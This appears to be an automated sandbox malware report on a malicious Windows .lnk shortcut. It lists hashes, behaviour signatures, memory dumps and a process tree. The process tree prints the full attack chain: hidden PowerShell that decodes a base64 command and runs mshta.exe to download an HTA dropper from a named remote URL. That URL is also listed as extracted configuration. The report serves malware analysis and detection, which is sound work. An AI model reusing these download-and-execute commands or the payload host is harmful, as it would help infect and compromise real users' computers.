Analysis

  • max time kernel
    298s
  • max time network
    291s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260130-en
  • resource tags

    arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    24/04/2026, 02:14

General

  • Target
    Doc_02cec1f0-fd22-41c1-9ea1-ce378e010a5b.lnk
  • Size 2KB
  • Sample260424-cpffyscx2t
  • SHA256 6dde62d2b11b1ca2a331881eafa66c3aea32747c40a588c160fb55b5607b8a56
  • MD5 SHA1 SHA512 TLSH
Score
10/10

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    https://243.180.62.50.host.secureserver.net/02cec1f0-fd22-41c1-9ea1-ce378e010a5b/e25af26d-4f0b-4e98-92ec-dd467ea173b7

Signatures

  • Badlisted process makes network request 10 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\Doc_02cec1f0-fd22-41c1-9ea1-ce378e010a5b.lnk
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2012
    • C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command " $b = [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aVRYd2JWSm5LdnxDOlxXaW5kb3dzXFN5c3RlbTMyXG1zaHRhLmV4ZSAiaHR0cHM6Ly8yNDMuMTgwLjYyLjUwLmhvc3Quc2VjdXJlc2VydmVyLm5ldC8wMmNlYzFmMC1mZDIyLTQxYzEtOWVhMS1jZTM3OGUwMTBhNWIvZTI1YWYyNmQtNGYwYi00ZTk4LTkyZWMtZGQ0NjdlYTE3M2I3Ig=='));$a = $b -split '\|',2 | Select-Object -Last 1;Invoke-Expression $a"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2100
      • C:\Windows\System32\mshta.exe
        "C:\Windows\System32\mshta.exe" https://243.180.62.50.host.secureserver.net/02cec1f0-fd22-41c1-9ea1-ce378e010a5b/e25af26d-4f0b-4e98-92ec-dd467ea173b7
        3⤵
        • Badlisted process makes network request
        PID:4464

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

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        Downloads

        __PSScriptPolicyTest_ge503m1g.jky.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ge503m1g.jky.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH

        memory/2100-3-0x000001F72EAF0000-0x000001F72EB00000-memory.dmp

        memory/2100-2-0x000001F72EAF0000-0x000001F72EB00000-memory.dmp

        memory/2100-4-0x000001F72E9C0000-0x000001F72E9E2000-memory.dmp

        memory/2100-11-0x000001F72EAF0000-0x000001F72EB00000-memory.dmp

        memory/2100-15-0x000001F715BC0000-0x000001F715BD2000-memory.dmp

        memory/2100-14-0x000001F715F30000-0x000001F7166DE000-memory.dmp

        memory/4464-17-0x0000015ED9A80000-0x0000015EDA22E000-memory.dmp